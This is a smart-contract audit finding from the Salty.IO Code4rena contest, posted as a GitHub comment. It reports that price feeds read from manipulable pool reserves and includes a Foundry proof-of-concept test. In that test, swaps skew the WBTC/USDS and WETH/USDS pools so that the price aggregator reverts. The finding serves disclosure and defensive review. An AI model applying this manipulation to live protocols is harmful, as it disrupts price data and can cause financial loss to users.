c4-bot-9 commented 9 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/CoreChainlinkFeed.sol#L45 https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/CoreSaltyFeed.sol#L34 https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/CoreSaltyFeed.sol#L47

Vulnerability details

Impact

Salty.IO relies on three default price feeds to get the price of BTC and ETH for the price of the collateral backing USDS. In the CoreChainlinkFeed contract, a price of 0 is returned when the Chainlink price update has not occurred within it's 60 minute heartbeat. When this happens, the other two price feeds being the Uniswap V3 TWAP and the Salty.IO Reserves would provide the necessary price feed data. However, using the reserves of a liquidity pool directly for price data is dangerous as a user can skew the ratio of the tokens in the pool by simply swapping one for the other. This issue becomes more concerning when flash loans are involved, giving anyone a large amount of tokens temporarily to significantly skew the ratio of the pool. This means that when the Chainlink price update has not occurred within it's 60 minute heartbeat, an attacker can skew the ratio of the Salty.IO Reserves and artificially change the price of BTC or ETH in their respective pools paired with USDS. This will inevitably make the PriceAggregator contract revert when price data is needed (because there are two non zero price feeds and the difference between these prices is too large).

Proof of Concept

This is part of the CoreChainlinkFeed.latestChainlinkPrice() function which returns the price of a token in a given Chainlink price feed:

try chainlinkFeed.latestRoundData()
returns (
  uint80, // _roundID
  int256 _price,
  uint256, // _startedAt
  uint256 _answerTimestamp,
  uint80 // _answeredInRound
)
  {
  // Make sure that the Chainlink price update has occurred within its 60 minute heartbeat
  // https://docs.chain.link/data-feeds#check-the-timestamp-of-the-latest-answer
  uint256 answerDelay = block.timestamp - _answerTimestamp;

  if ( answerDelay <= MAX_ANSWER_DELAY )
    price = _price;
  else
    price = 0;
  }
catch (bytes memory) // Catching any failure
  {
  // In case of failure, price will remain 0
  }

and these are both functions of the CoreSaltyFeed contract which return the price of BTC and ETH based on the reserves of their respective pools paired with USDS:

// Returns zero for an invalid price
function getPriceBTC() external view returns (uint256)
  {
      (uint256 reservesWBTC, uint256 reservesUSDS) = pools.getPoolReserves(wbtc, usds); // @audit-issue Pool reserves can be skewed by someone with enough tokens. Maybe TWAP is better here

  if ( ( reservesWBTC < PoolUtils.DUST ) || ( reservesUSDS < PoolUtils.DUST ) )
    return 0;

  // reservesWBTC has 8 decimals, keep the 18 decimals of reservesUSDS
  // @audit-ok Math checks out
  return ( reservesUSDS * 10**8 ) / reservesWBTC;
  }

// Returns zero for an invalid price
function getPriceETH() external view returns (uint256)
  {
      (uint256 reservesWETH, uint256 reservesUSDS) = pools.getPoolReserves(weth, usds); // @audit-info Pool reserves can be skewed by someone with enough tokens. Maybe TWAP is better here. Same as above.

  if ( ( reservesWETH < PoolUtils.DUST ) || ( reservesUSDS < PoolUtils.DUST ) )
    return 0;

  // @audit-ok Math checks out
  return ( reservesUSDS * 10**18 ) / reservesWETH;
  }
  }

As can be seen, the CoreSaltyFeed contract relies on the reserves of the WBTC/USDS and WETH/USDS pool. This is dangerous as the ratios of the pools can easily be skewed by an attacker with enough tokens.

Clone the github repo and run forge build then paste the following test file in /src/scenario_tests/ and run forge test --mt test_exploitChainlinkLongHeartbeatPOC:

POC Test File

```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity =0.8.22; import "../dev/Deployment.sol"; import "forge-std/Test.sol"; import "forge-std/console.sol"; import "../rewards/RewardsConfig.sol"; import "../staking/StakingConfig.sol"; import "../price_feed/tests/ForcedPriceFeed.sol"; import "../price_feed/CoreSaltyFeed.sol"; import "../price_feed/CoreChainlinkFeed.sol"; contract MockAccessManager { function walletHasAccess(address wallet) external pure returns (bool) { return wallet == wallet; } } contract MockInitialDistribution { address public bootstrapBallot; constructor(address _bootstrapBallot) { bootstrapBallot = _bootstrapBallot; } } // Mock contract to imitate when chainlink price doesn't occur within its 60 minute heartbeat contract MockAggregatorV3Interface { function latestRoundData() external pure returns (uint80, int256, uint256, uint256, uint80) { return (0, 0, 0, 0, 0); } } contract ExploitChainlinkLongHeartbeatPOC is Test { using SafeERC20 for ISalt; using SafeERC20 for IERC20; IExchangeConfig public exchangeConfig; IBootstrapBallot public bootstrapBallot; IAirdrop public airdrop; IStaking public staking; IDAO public dao; ILiquidizer public liquidizer; IPoolsConfig public poolsConfig; IStakingConfig public stakingConfig; IRewardsConfig public rewardsConfig; IStableConfig public stableConfig; ISaltRewards public saltRewards; IPools public pools; MockInitialDistribution public initialDistribution; IRewardsEmitter public stakingRewardsEmitter; IRewardsEmitter public liquidityRewardsEmitter; IEmissions public emissions; ISalt public salt; IERC20 public dai; USDS public usds; IERC20 public wbtc; IERC20 public weth; CollateralAndLiquidity public collateralAndLiquidity; MockAccessManager public accessManager; IPriceFeed public priceFeed1; IPriceFeed public priceFeed2; IForcedPriceFeed public priceFeed3; IPriceAggregator public priceAggregator; IUpkeep public upkeep; IDAOConfig public daoConfig; function setUp() public { vm.startPrank(address(1)); salt = new Salt(); dai = new TestERC20("DAI", 18); weth = new TestERC20("WETH", 18); wbtc = new TestERC20("WBTC", 8); usds = new USDS(); rewardsConfig = new RewardsConfig(); poolsConfig = new PoolsConfig(); stakingConfig = new StakingConfig(); stableConfig = new StableConfig(); daoConfig = new DAOConfig(); exchangeConfig = new ExchangeConfig( salt, wbtc, weth, dai, usds, IManagedWallet(address(0)) ); stakingRewardsEmitter = new RewardsEmitter( IStakingRewards(makeAddr("stakingRewards")), exchangeConfig, poolsConfig, IRewardsConfig(address(0)), false ); liquidityRewardsEmitter = new RewardsEmitter( IStakingRewards(makeAddr("stakingRewards")), exchangeConfig, poolsConfig, IRewardsConfig(address(0)), true ); pools = new Pools(exchangeConfig, poolsConfig); MockAggregatorV3Interface CHAINLINK_BTC_USD = new MockAggregatorV3Interface(); MockAggregatorV3Interface CHAINLINK_ETH_USD = new MockAggregatorV3Interface(); priceFeed1 = new CoreChainlinkFeed( address(CHAINLINK_BTC_USD), address(CHAINLINK_ETH_USD) ); priceFeed2 = new CoreSaltyFeed(pools, exchangeConfig); priceFeed3 = new ForcedPriceFeed(30000 ether, 3000 ether); priceAggregator = new PriceAggregator(); priceAggregator.setInitialFeeds( IPriceFeed(address(priceFeed1)), IPriceFeed(address(priceFeed2)), IPriceFeed(address(priceFeed3)) ); saltRewards = new SaltRewards( stakingRewardsEmitter, liquidityRewardsEmitter, exchangeConfig, rewardsConfig ); initialDistribution = new MockInitialDistribution( makeAddr("bootstrapBallot") ); poolsConfig.whitelistPool(pools, salt, wbtc); poolsConfig.whitelistPool(pools, salt, weth); poolsConfig.whitelistPool(pools, salt, usds); poolsConfig.whitelistPool(pools, wbtc, usds); poolsConfig.whitelistPool(pools, weth, usds); poolsConfig.whitelistPool(pools, wbtc, dai); poolsConfig.whitelistPool(pools, weth, dai); poolsConfig.whitelistPool(pools, usds, dai); poolsConfig.whitelistPool(pools, wbtc, weth); liquidizer = new Liquidizer(exchangeConfig, poolsConfig); accessManager = new MockAccessManager(); exchangeConfig.setAccessManager(IAccessManager(address(accessManager))); collateralAndLiquidity = new CollateralAndLiquidity( pools, exchangeConfig, poolsConfig, stakingConfig, stableConfig, priceAggregator, liquidizer ); usds.setCollateralAndLiquidity(collateralAndLiquidity); dao = new DAO( pools, IProposals(address(0)), exchangeConfig, poolsConfig, IStakingConfig(address(0)), IRewardsConfig(address(0)), IStableConfig(address(0)), IDAOConfig(address(0)), IPriceAggregator(address(0)), liquidityRewardsEmitter, ICollateralAndLiquidity(address(collateralAndLiquidity)) ); pools.setContracts(dao, collateralAndLiquidity); liquidizer.setContracts(collateralAndLiquidity, pools, dao); vm.stopPrank(); vm.startPrank(address(1)); upkeep = new Upkeep( pools, exchangeConfig, poolsConfig, daoConfig, stableConfig, priceAggregator, saltRewards, collateralAndLiquidity, emissions, dao ); exchangeConfig.setContracts( dao, upkeep, IInitialDistribution(address(initialDistribution)), IAirdrop(address(0)), VestingWallet(payable(address(0))), VestingWallet(payable(address(0))) ); vm.stopPrank(); vm.prank(makeAddr("bootstrapBallot")); pools.startExchangeApproved(); vm.prank(address(collateralAndLiquidity)); usds.mintTo(address(1), 60_000 ether); vm.startPrank(address(1)); wbtc.approve(address(collateralAndLiquidity), 1 * 10 ** 8); weth.approve(address(collateralAndLiquidity), 100 * 10 ** 18); usds.approve(address(collateralAndLiquidity), 60_000 ether); collateralAndLiquidity.depositLiquidityAndIncreaseShare( wbtc, usds, 1 * 10 ** 8, 30_000 ether, 0, block.timestamp, false ); collateralAndLiquidity.depositLiquidityAndIncreaseShare( weth, usds, 10 * 10 ** 18, 30_000 ether, 0, block.timestamp, false ); vm.stopPrank(); } function test_exploitChainlinkLongHeartbeatPOC() external { address alice = makeAddr("alice"); // Initial price is fine as it is using uniswap v3 twap and salty pool as price feed uint256 priceBTC = priceAggregator.getPriceBTC(); uint256 priceETH = priceAggregator.getPriceETH(); console.log(priceBTC); console.log(priceETH); vm.prank(address(1)); wbtc.safeTransfer(alice, 0.5 * 10 ** 8); vm.startPrank(alice); wbtc.approve(address(pools), 0.5 * 10 ** 8); // Swapping WBTC to USDS skews the ratios in the pool making the price of WBTC differ from the uniswap v3 price therefore making the priceAggregator return 0 for the price of BTC pools.depositSwapWithdraw( wbtc, usds, 0.5 * 10 ** 8, 0, block.timestamp ); vm.stopPrank(); vm.prank(address(1)); weth.safeTransfer(alice, 5 * 10 ** 18); vm.startPrank(alice); weth.approve(address(pools), 5 * 10 ** 18); // Swapping WETH to USDS skews the ratios in the pool making the price of WETH differ from the uniswap v3 price therefore making the priceAggregator return 0 for the price of ETH pools.depositSwapWithdraw(weth, usds, 5 * 10 ** 18, 0, block.timestamp); vm.stopPrank(); // Getting price data now fails vm.expectRevert(); priceAggregator.getPriceBTC(); vm.expectRevert(); priceAggregator.getPriceETH(); } } ```

As can be seen, because the CoreChainlinkFeed contract has returned a price of 0, the PriceAggregator contract is left to rely on the other two price feeds, including the Salty.IO Reserves. However, an attacker can make calls for price data to PriceAggregator fail by skewing the ratios of the WBTC/USDS and WETH/USDS pool, making the prices of the two price feeds deviate from each other above the allowed threshold.

Tools Used

Manual Review.

Recommended Mitigation Steps

A TWAP for the Salty.IO Reserves would be recommended to smooth off any significant price movement and decrease the chance of there being a significant deviation from the real world price.